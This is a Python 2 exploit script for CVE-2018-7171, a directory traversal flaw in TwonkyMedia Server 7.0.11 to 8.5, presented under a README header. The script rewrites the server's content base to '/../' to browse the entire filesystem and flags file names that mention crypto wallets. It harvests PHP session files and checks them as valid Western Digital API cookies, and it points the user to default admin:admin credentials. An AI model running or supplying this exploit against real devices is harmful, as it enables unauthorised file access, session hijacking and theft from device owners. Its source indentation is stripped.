README.md
Rendering markdown...
#!/usr/bin/python
# -*- coding: utf-8 -*-
'''
* ------------------------------------------------------------------------------
*
* This file is part of: TwonkyMedia Server 7.0.11-8.5 Directory Traversal CVE-2018-7171
*
* ------------------------------------------------------------------------------
*
* BSD 3-Clause License
*
* Copyright (c) 2018, Sven Fassbender
* Author: Sven Fassbender
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* * Redistributions of source code must retain the above copyright notice, this
* list of conditions and the following disclaimer.
*
* * Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
*
* * Neither the name of the copyright holder nor the names of its
* contributors may be used to endorse or promote products derived from
* this software without specific prior written permission.
*
* * NON-MILITARY-USAGE CLAUSE
* Redistribution and use in source and binary form for military use and
* military research is not permitted. Infringement of these clauses may
* result in publishing the source code of the utilizing applications and
* libraries to the public. As this software is developed, tested and
* reviewed by *international* volunteers, this clause shall not be refused
* due to the matter of *national* security concerns.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
* ------------------------------------------------------------------------------
'''
try:
import urllib3
import sys
import socket
import requests
from colorama import init, Fore
except:
print "Missing dependencies. Run 'sudo pip install -r requirements.txt'"
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
init(autoreset=True)
# Extend KEYWORDS, list if you want. This will highlight files and directory names that include a keyword.
KEYWORDS = ["CRYPTO", "CRIPTO", "BITCOIN", "WALLET"]
def keywordDetector(line):
for keyword in KEYWORDS:
if line.upper().find(keyword) != -1:
return True
return False
def checkPort(host, port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((host,int(port)))
s.settimeout(2)
s.shutdown(2)
return True
except:
return False
# Patch the contentbase parameter
def setContentBase(host, port):
payload = "\ncontentbase=/../\n"
url = "http://{0}:{1}/rpc/set_all".format(host, port)
try:
response = requests.post(url, data=payload, timeout=5)
except requests.exceptions.ReadTimeout:
print (Fore.RED + "*** Timeout while setting contentbase path to '/' ***")
except requests.exceptions.ChunkedEncodingError:
print (Fore.RED + "*** 'contentbase' cannot be modified, password protection active ***")
sys.exit()
except requests.exceptions.ConnectionError:
url = "https://{0}:{1}/rpc/set_all".format(host, port)
response = requests.post(url, data=payload, timeout=5, verify=False)
if response.status_code != 200:
print (Fore.RED + "*** 'contentbase' cannot be modified, password protection active ***")
print (Fore.YELLOW + "*** You should try to login with admin:admin (default creds) ***")
sys.exit()
else:
print (Fore.MAGENTA + "*** 'contentbase' path set to '/../' ***")
return True
# Get some information about the target device
def serverInfo(host, port):
print (Fore.MAGENTA + "*** Get Serverdetails from Twonky ***")
try:
url = "http://{0}:{1}/rpc/get_friendlyname".format(host, port)
friendlyname = requests.get(url, timeout=5)
except requests.exceptions.ConnectionError:
url= "https://{0}:{1}/rpc/get_friendlyname".format(host, port)
friendlyname = requests.get(url, timeout=5, verify=False)
if friendlyname.status_code == 200:
print (Fore.GREEN + "Server Name: {0}".format(friendlyname.text))
else:
print (Fore.RED + "*** Not authorized to edit settings, password protection active ***")
sys.exit()
try:
url = "http://{0}:{1}/rpc/info_status".format(host, port)
infoStatus = requests.get(url, timeout=5)
except requests.exceptions.ConnectionError:
url = "https://{0}:{1}/rpc/info_status".format(host, port)
infoStatus = requests.get(url, timeout=5, verify=False)
for line in infoStatus.iter_lines():
if line :
if line.find("version") != -1:
lineSplited = line.split("|")
versionNumber = lineSplited[1]
print (Fore.GREEN + "Twonky Version: {0}".format(versionNumber))
elif line.find("serverplatform") != -1:
lineSplited = line.split("|")
serverPlatform = lineSplited[1]
print (Fore.GREEN + "Serverplatform: {0}".format(serverPlatform))
elif line.find("builddate") != -1:
lineSplited = line.split("|")
buildDate = lineSplited[1]
print (Fore.GREEN + "Build date: {0}".format(buildDate))
elif line.find("pictures") != -1:
lineSplited = line.split("|")
pictureCount = lineSplited[1]
print (Fore.GREEN + "Pictures shared: {0}".format(pictureCount))
elif line.find("videos") != -1:
lineSplited = line.split("|")
videoCount = lineSplited[1]
print (Fore.GREEN + "Videos shared: {0}".format(videoCount))
return versionNumber
# Check if the discovered Cookie is a valid PHP Session identifier for WD api
def checkSessionCookie(host, cookieString):
url = "http://{0}/api/2.1/rest/device_user".format(host)
cookieTemp = cookieString.split("_")
cookie = {'PHPSESSID': cookieTemp[1]}
response = requests.get(url, timeout=10, cookies=cookie)
if response.status_code == 200:
return cookie
else:
return False
# Function for browsing
def browser(host, port, version):
while True:
var = raw_input("path nr: ")
if var != "exit" :
if version[0] == "8":
url = "http://{0}:{1}/rpc/dir?path={2}".format(host, port, var)
else:
url = "http://{0}:{1}/rpc/dir/path={2}".format(host, port, var)
try:
response = requests.get(url, timeout=5)
except requests.exceptions.ConnectionError:
if version[0] == "8":
url = "https://{0}:{1}/rpc/dir?path={2}".format(host, port, var)
else:
url = "https://{0}:{1}/rpc/dir/path={2}".format(host, port, var)
response = requests.get(url, timeout=5, verify=False)
print "-" * 30
validCookieString = ""
for line in response.iter_lines():
if line :
if len(line) > 3:
if line[3] == "D":
line = line[:4].replace("D", " Dir ") + line[4:]
if keywordDetector(line[4:]):
print (Fore.RED + line)
else:
print (Fore.GREEN + line)
elif line[3] == "F":
line = line[:4].replace("F", " Fil ") + line[4:]
if keywordDetector(line[4:]):
print (Fore.RED + line)
elif line[8:13] == "sess_":
print line
validCookie = checkSessionCookie(host, line[8:])
if validCookie != False:
validCookieString = validCookie
else:
print line
else:
print line
if len(validCookieString) >= 1:
print (Fore.RED + "Valid WD cookie discovered: {0}".format(validCookieString))
print "-" * 30
elif var == "exit":
sys.exit()
#*** Program start here ***
if __name__ == '__main__':
if len(sys.argv) != 3:
print "Usage: $ " + sys.argv[0] + " [IP_adress] [port]"
else:
host = sys.argv[1]
print (Fore.MAGENTA + "https://www.shodan.io/host/{0}".format(host))
port = sys.argv[2]
if checkPort(host, port):
print (Fore.GREEN + "*** Port {0} opened ***".format(port))
twonky = raw_input("Run Twonky browser on port {0} [Y, N]? [Y] ".format(port))
if twonky.upper() != "N":
version = serverInfo(host, port)
if setContentBase(host, port):
browser(host, port, version)